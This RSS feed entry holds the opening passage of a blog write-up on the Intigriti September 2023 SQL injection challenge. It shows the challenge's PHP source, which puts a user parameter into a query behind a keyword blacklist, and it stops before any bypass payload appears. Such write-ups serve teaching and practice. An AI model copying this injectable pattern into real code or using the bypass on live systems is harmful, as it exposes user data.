<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>writeup | BKISC Blogs</title><link>https://bkisc-blog.netlify.app/tag/writeup/</link><atom:link href="https://bkisc-blog.netlify.app/tag/writeup/index.xml" rel="self" type="application/rss+xml"/><description>writeup</description><generator>Wowchemy (https://wowchemy.com)</generator><language>en-us</language><lastBuildDate>Tue, 26 Sep 2023 00:00:00 +0000</lastBuildDate><image><url>https://bkisc-blog.netlify.app/media/logo_huc55a0313517dd04bda48a4ace4db28bc_511389_300x300_fit_lanczos_3.png</url><title>writeup</title><link>https://bkisc-blog.netlify.app/tag/writeup/</link></image><item><title>Writeup for Intigriti September Challenge 2023</title><link>https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/</link><pubDate>Tue, 26 Sep 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/web-exploitation/">web-exploitation&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#statement">Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#overview">Overview&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#first-glance">First glance&lt;/a>&lt;/li>
&lt;li>&lt;a href="#filter">Filter&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#filter-bypass">Filter bypass&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#number-check">Number Check&lt;/a>&lt;/li>
&lt;li>&lt;a href="#no-whitespaces">No whitespaces&lt;/a>&lt;/li>
&lt;li>&lt;a href="#desired-characters-are-blocked">Desired characters are blocked&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#constructing-payload">Constructing payload&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#our-union-select">Our union select&lt;/a>&lt;/li>
&lt;li>&lt;a href="#without-using-a-column-name">Without using a column name&lt;/a>&lt;/li>
&lt;li>&lt;a href="#combine-with-no-spaces-using-parentheses">Combine with no spaces using parentheses&lt;/a>&lt;/li>
&lt;li>&lt;a href="#try-it-out">Try it out&lt;/a>&lt;/li>
&lt;li>&lt;a href="#final-touch">Final touch&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#put-it-all-together">Put it all together&lt;/a>&lt;/li>
&lt;li>&lt;a href="#conclusion">Conclusion&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;p>Hi all, first time doing a writeup here 😉. This will be the &lt;a href="https://challenge-0923.intigriti.io/" target="_blank" rel="noopener">Intigriti September 2023 challenge&lt;/a> created by
&lt;mark>@sgrum0x&lt;/mark>. I wrote this writeup not just for experienced players but also for newbies. In short, this challenge can be solved by using parentheses for whitespaces filter and get a column without using its name.&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/bypass_meme_hu9ad0eb4d2749443f9a854633f0bc7965_91548_9e7e6c14f222dc7c12fab0021325955e.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/bypass_meme_hu9ad0eb4d2749443f9a854633f0bc7965_91548_03cd4dd86a8e3e7930f771f3faff6199.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/bypass_meme_hu9ad0eb4d2749443f9a854633f0bc7965_91548_1200x1200_fit_q75_h2_lanczos.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/bypass_meme_hu9ad0eb4d2749443f9a854633f0bc7965_91548_9e7e6c14f222dc7c12fab0021325955e.webp"
width="500"
height="500"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;h2 id="statement">Statement&lt;/h2>
&lt;p>Featuring this month&amp;rsquo;s challenge will be an SQL injection challenge. At first glance, it is a table containing ID, username, email of some users.&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/first_look_hu95e27a4b34b6ee2569d8350495e1345d_41974_4a89dff6fc88973e7590a31136c93aa1.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/first_look_hu95e27a4b34b6ee2569d8350495e1345d_41974_f5a19c0e9c1876ddb28523d66ebd7058.webp 760w,
/blog/hoangdayne/intigrity-monthly-0923/first_look_hu95e27a4b34b6ee2569d8350495e1345d_41974_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/hoangdayne/intigrity-monthly-0923/first_look_hu95e27a4b34b6ee2569d8350495e1345d_41974_4a89dff6fc88973e7590a31136c93aa1.webp"
width="760"
height="352"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>There is also a
&lt;mark>Show Source&lt;/mark> button. Upon clicking it, we can have a look at the source code of the challenge.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="ln"> 1&lt;/span>&lt;span class="cl">&lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 2&lt;/span>&lt;span class="cl">&lt;span class="nv">$max&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 3&lt;/span>&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 4&lt;/span>&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">isset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">is_array&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 5&lt;/span>&lt;span class="cl"> &lt;span class="nv">$max&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 6&lt;/span>&lt;span class="cl"> &lt;span class="nv">$words&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;`&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;a&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;b&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;h&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;k&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;p&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;v&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;x&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;or&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;if&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;case&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;in&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;between&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;join&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;json&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;set&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;=&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;|&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;%&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;+&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;-&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;#&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\r&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;\v&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;\f&amp;#34;&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// list of characters to check
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 7&lt;/span>&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">foreach&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$words&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nv">$w&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 8&lt;/span>&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">preg_match&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;#&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">preg_quote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$w&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="s2">&amp;#34;#i&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$max&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln"> 9&lt;/span>&lt;span class="cl"> &lt;span class="k">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;H4ckerzzzz&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">10&lt;/span>&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="c1">//no weird chars
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">11&lt;/span>&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">12&lt;/span>&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">13&lt;/span>&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">14&lt;/span>&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">15&lt;/span>&lt;span class="cl"> &lt;span class="c1">//seen in production
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">16&lt;/span>&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="nv">$stmt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$pdo&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">prepare&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;SELECT id, name, email FROM users WHERE id&amp;lt;=&lt;/span>&lt;span class="si">$max&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">17&lt;/span>&lt;span class="cl"> &lt;span class="nv">$stmt&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">execute&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">18&lt;/span>&lt;span class="cl"> &lt;span class="nv">$results&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$stmt&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">fetchAll&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">19&lt;/span>&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">20&lt;/span>&lt;span class="cl">&lt;span class="k">catch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">\PDOException&lt;/span> &lt;span class="nv">$e&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">21&lt;/span>&lt;span class="cl"> &lt;span class="k">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ERROR: BROKEN QUERY&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">22&lt;/span>&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">23&lt;/span>&lt;span class="cl"> &lt;span class="cm">/* FYI
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">24&lt;/span>&lt;span class="cl">&lt;span class="cm"> CREATE TABLE users (
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">25&lt;/span>&lt;span class="cl">&lt;span class="cm"> id INT AUTO_INCREMENT PRIMARY KEY,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">26&lt;/span>&lt;span class="cl">&lt;span class="cm"> name VARCHAR(255) NOT NULL,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">27&lt;/span>&lt;span class="cl">&lt;span class="cm"> email VARCHAR(255) UNIQUE NOT NULL,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">28&lt;/span>&lt;span class="cl">&lt;span class="cm"> password VARCHAR(255) NOT NULL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">29&lt;/span>&lt;span class="cl">&lt;span class="cm"> );
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">30&lt;/span>&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">31&lt;/span>&lt;span class="cl">&lt;span class="cp">?&amp;gt;&lt;/span>&lt;span class="err">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">32&lt;/span>&lt;span class="cl">&lt;span class="err">...
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">33&lt;/span>&lt;span class="cl">&lt;span class="err">&amp;lt;td&amp;gt;&amp;lt;?= htmlspecialchars(strpos($row[&amp;#39;id&amp;#39;],&amp;#34;INTIGRITI&amp;#34;)===false?$row[&amp;#39;id&amp;#39;]:&amp;#34;REDACTED&amp;#34;); ?&amp;gt;&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">34&lt;/span>&lt;span class="cl">&lt;span class="err">&amp;lt;td&amp;gt;&amp;lt;?= htmlspecialchars(strpos($row[&amp;#39;name&amp;#39;],&amp;#34;INTIGRITI&amp;#34;)===false?$row[&amp;#39;name&amp;#39;]:&amp;#34;REDACTED&amp;#34;); ?&amp;gt;&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">35&lt;/span>&lt;span class="cl">&lt;span class="err">&amp;lt;td&amp;gt;&amp;lt;?= htmlspecialchars(strpos($row[&amp;#39;email&amp;#39;],&amp;#34;INTIGRITI&amp;#34;)===false?$row[&amp;#39;email&amp;#39;]:&amp;#34;REDACTED&amp;#34;); ?&amp;gt;&amp;lt;/td&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">36&lt;/span>&lt;span class="cl">&lt;span class="err">...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon reading the source code, I was able to guess that the flag will be in the column &lt;code>password&lt;/code> which we need to leak it somehow using `SQL Injection``. So where is the injection point? What are the problems that we need to encounter? Let&amp;rsquo;s dive deeper.&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;h3 id="first-glance">First glance&lt;/h3>
&lt;p>Upon reviewing the source code, we can easily find the SQL Injection endpoint.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="ln">1&lt;/span>&lt;span class="cl">&lt;span class="nv">$max&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">2&lt;/span>&lt;span class="cl">&lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">3&lt;/span>&lt;span class="cl">&lt;span class="nv">$max&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">4&lt;/span>&lt;span class="cl">&lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">5&lt;/span>&lt;span class="cl">&lt;span class="nv">$stmt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$pdo&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="na">prepare&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;SELECT id, name, email FROM users WHERE id&amp;lt;=&lt;/span>&lt;span class="si">$max&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But it wouldn&amp;rsquo;t have been a challenge if it was this easy right 🥲?
The variable &lt;code>$max&lt;/code> must go through a god d@mn filter to be passed to the query.&lt;/p>
&lt;h3 id="filter">Filter&lt;/h3>
&lt;p>Let&amp;rsquo;s take a look at the filter:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="ln">1&lt;/span>&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">isset&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="o">!&lt;/span>&lt;span class="nx">is_array&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">2&lt;/span>&lt;span class="cl"> &lt;span class="nv">$max&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nv">$_GET&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;max&amp;#39;&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">3&lt;/span>&lt;span class="cl"> &lt;span class="nv">$words&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;`&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34; &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;a&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;b&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;h&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;k&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;p&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;v&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;x&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;or&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;if&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;case&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;in&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;between&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;join&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;json&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;set&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;=&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;|&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;amp;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;%&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;+&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;-&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;#&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\r&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\t&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;\v&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;\f&amp;#34;&lt;/span>&lt;span class="p">];&lt;/span> &lt;span class="c1">// list of characters to check
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">4&lt;/span>&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">foreach&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nv">$words&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="nv">$w&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">5&lt;/span>&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">preg_match&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;#&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="nx">preg_quote&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$w&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="s2">&amp;#34;#i&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">$max&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">6&lt;/span>&lt;span class="cl"> &lt;span class="k">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;H4ckerzzzz&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">7&lt;/span>&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="c1">//no weird chars
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">8&lt;/span>&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="ln">9&lt;/span>&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In short, there are 2 processes the filter performs:&lt;/p>
&lt;ul>
&lt;li>First, it checks the query &lt;code>$_GET['max']&lt;/code> if it is an array and greater than 0.&lt;/li>
&lt;li>If it satisfies the condition, it assigns &lt;code>$max&lt;/code> with the query &lt;code>$_GET['max']&lt;/code>, and then it performs a blacklist case insensitive check.&lt;/li>
&lt;/ul>
&lt;h2 id="filter-bypass">Filter bypass&lt;/h2>
&lt;h3 id="number-check">Number Check&lt;/h3>
&lt;p>First up, in order to get through the if statement, the max must greater than 0. This is easy as stated in &lt;strong>PHP Documentation&lt;/strong>.
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/hoangdayne/intigrity-monthly-0923/php_number_hu005304ac442cc80a4219bdcbd84e7ef8_50787_f8acf26f479e71d8115fa092f7831cdd.webp 400w,
/blog/hoangdayne/intigrity-monthly-0923/php_number_hu005304ac442cc80a4219bdcbd84e7ef8_50787_f92d46ac0925e52dd36b34d4e3d89d56.webp 760w,
